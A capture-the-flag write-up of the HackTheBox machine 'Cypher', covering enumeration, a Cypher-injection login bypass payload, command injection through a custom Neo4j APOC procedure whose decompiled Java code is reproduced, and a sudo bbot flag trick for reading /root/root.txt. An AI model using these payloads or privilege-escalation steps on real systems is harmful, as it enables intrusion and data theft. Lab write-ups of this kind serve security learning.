Cypher (HTB)

Intro.

Welcome Everyone again in this newly season machine from HTB let's dive right into it.

Enumeration.

Port scanning.

# Nmap 7.95 scan initiated Wed Mar  5 03:40:59 2025 as: nmap -vvv -p 22,80 -4 -A -o scan.nmap 10.10.11.57
Nmap scan report for cypher.htb (10.10.11.57)
Host is up, received syn-ack (0.014s latency).
Scanned at 2025-03-05 03:40:59 +08 for 8s

PORT   STATE SERVICE REASON  VERSION
22/tcp open  ssh     syn-ack OpenSSH 9.6p1 Ubuntu 3ubuntu13.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 be:68:db:82:8e:63:32:45:54:46:b7:08:7b:3b:52:b0 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBMurODrr5ER4wj9mB2tWhXcLIcrm4Bo1lIEufLYIEBVY4h4ZROFj2+WFnXlGNqLG6ZB+DWQHRgG/6wg71wcElxA=
|   256 e5:5b:34:f5:54:43:93:f8:7e:b6:69:4c:ac:d6:3d:23 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIEqadcsjXAxI3uSmNBA8HUMR3L4lTaePj3o6vhgPuPTi
80/tcp open  http    syn-ack nginx 1.24.0 (Ubuntu)
| http-methods: 
|_  Supported Methods: GET HEAD
|_http-title: GRAPH ASM
|_http-server-header: nginx/1.24.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Mar  5 03:41:07 2025 -- 1 IP address (1 host up) scanned in 7.62 seconds

A classical website and ssh. Let's start with the web application.

Enumerate Web application.

So once we enter we have this beautiful screen with fancy animation.

image.png

Some dirsearch will show us some interesting stuff.

Navigating there we will find a jar file when we download the file we can extract it using the following code.

jar xf ./custom-apoc-extension-1.0-SNAPSHOT.jar

Then we gonna see two folders. After navigating through them nothing interesting but some compiled java classes we can decompile them using crf.

CustomFunctions class.

/*
 * Decompiled with CFR 0.152.
 * 
 * Could not load the following classes:
 *  org.neo4j.procedure.Description
 *  org.neo4j.procedure.Mode
 *  org.neo4j.procedure.Name
 *  org.neo4j.procedure.Procedure
 */
package com.cypher.neo4j.apoc;

import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.util.Arrays;
import java.util.concurrent.TimeUnit;
import java.util.stream.Stream;
import org.neo4j.procedure.Description;
import org.neo4j.procedure.Mode;
import org.neo4j.procedure.Name;
import org.neo4j.procedure.Procedure;

public class CustomFunctions {
    @Procedure(name="custom.getUrlStatusCode", mode=Mode.READ)
    @Description(value="Returns the HTTP status code for the given URL as a string")
    public Stream<StringOutput> getUrlStatusCode(@Name(value="url") String url) throws Exception {
        String line;
        if (!((String)url).toLowerCase().startsWith("http://") && !((String)url).toLowerCase().startsWith("https://")) {
            url = "https://" + (String)url;
        }
        Object[] command = new String[]{"/bin/sh", "-c", "curl -s -o /dev/null --connect-timeout 1 -w %{http_code} " + (String)url};
        System.out.println("Command: " + Arrays.toString(command));
        Process process = Runtime.getRuntime().exec((String[])command);
        BufferedReader inputReader = new BufferedReader(new InputStreamReader(process.getInputStream()));
        BufferedReader errorReader = new BufferedReader(new InputStreamReader(process.getErrorStream()));
        StringBuilder errorOutput = new StringBuilder();
        while ((line = errorReader.readLine()) != null) {
            errorOutput.append(line).append("\n");
        }
        String statusCode = inputReader.readLine();
        System.out.println("Status code: " + statusCode);
        boolean exited = process.waitFor(10L, TimeUnit.SECONDS);
        if (!exited) {
            process.destroyForcibly();
            statusCode = "0";
            System.err.println("Process timed out after 10 seconds");
        } else {
            int exitCode = process.exitValue();
            if (exitCode != 0) {
                statusCode = "0";
                System.err.println("Process exited with code " + exitCode);
            }
        }
        if (errorOutput.length() > 0) {
            System.err.println("Error output:\n" + errorOutput.toString());
        }
        return Stream.of(new StringOutput(statusCode));
    }

    public static class StringOutput {
        public String statusCode;

        public StringOutput(String statusCode) {
            this.statusCode = statusCode;
        }
    }
}

This class feature some ability to inject commands thought the URL parameter. we will investigate more into this in a bit.

HelloWorldProcedure

/*
 * Decompiled with CFR 0.152.
 * 
 * Could not load the following classes:
 *  org.neo4j.procedure.Description
 *  org.neo4j.procedure.Mode
 *  org.neo4j.procedure.Name
 *  org.neo4j.procedure.Procedure
 */
package com.cypher.neo4j.apoc;

import java.util.stream.Stream;
import org.neo4j.procedure.Description;
import org.neo4j.procedure.Mode;
import org.neo4j.procedure.Name;
import org.neo4j.procedure.Procedure;

public class HelloWorldProcedure {
    @Procedure(name="custom.helloWorld", mode=Mode.READ)
    @Description(value="A simple hello world procedure")
    public Stream<HelloWorldOutput> helloWorld(@Name(value="name") String name) {
        String greeting = "Hello, " + name + "!";
        return Stream.of(new HelloWorldOutput(greeting));
    }

    public static class HelloWorldOutput {
        public String greeting;

        public HelloWorldOutput(String greeting) {
            this.greeting = greeting;
        }
    }
}

Nothing interesting in this class just some testing.

Back to the application we can also find a login page with noticeable note.

image.png

Neo4j Injection.

We can see that it uses neo4j as its database with simple testing with the login page we can see something off.

We can see here that we are able to injection neo4j but i have no clue what neo4j is so let's search it up for a bit.

After reading though this blog i came to understand what is going on. So Neo4j is a graph database unlike SQL it uses graph theory in how it works using nodes and relation among them. It uses which called Cypher as its query language. Which happen to be the machine name.

Stander Query using Cypher may look like this.

MATCH (u:USER) return u

The statment above can be translated as follows.

Select * from USER;

There are a lot of things to cover but this is not about Neoj4 let's head back to the machine and do some testing.

As we can see above this statement works fine but we are not able to get any data back so how about bypassing???.

Bypassing Neo4j.

Using this payload i was able to bypass the login page how is this possible LET ME EXPLAIN.

' OR 1=1 RETURN 'admin' AS u, '5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8' AS hash //

So let's devide the payload into few sections.

With that we can bypass the login page.

image.png

Command Injection to RCE.

So after we get access to the admin page i search more in the parameter which allow us to execute some query via Cypher query. I spend a lot of time play with it but i find nothing until i recall the java code we found earlier. While am search in the Cypher query i found something called APOC, Which help to extend the functionality for the Cypher and we can call it using its name.

image.png
CALL custom.getUrlStatusCode("http://example.com") YIELD statusCode RETURN statusCode;

Let's check if it accessible.

And as we can see it accessible so we can inject command as we found earlier.

And as simple as that we have remote code execution but there is a small issue. in the java code there is this line.

String statusCode = inputReader.readLine();

This line here will only take the first line of the command we execute to avoid this we can pip the command to paste and our command will look like this.

ls -al /home/graphasm | paste -sd " "

I also used URL encoding on all the command i executed you can find it in burp-suit just to avoid any parsing issues.

From here i just execute three commands to get shell.

image.png

Shell as graphasm

So once we inside the machine we can navigate to the home directory we gonna find user graphasm and there is also file called bbot_preset.yml. which contain the password for the user.

Using this password we can su into that.

After we got access to graphasm using sudo -l we can see that we can execute bbot as root with no password.

BBOT is an open source OSINT tool.

So with that in mind i have enumerate a lot about this tool but i did not find anything.

Then i decide to look at another aspect of the machine but also nothing to be found. So i came back to bbot. With more searching i found an interesting flag.

--custom-yara-rules

But this flag it self actually does not do anything but if it combined with the -d option used for debug it gives us the ability to read system files as we gonna see for the root.txt now.

sudo bbot --custom-yara-rules=/root/root.txt -d

With that i think we are do we could search more to get root access but am done with this machine Thank you for reading :) .

Last updated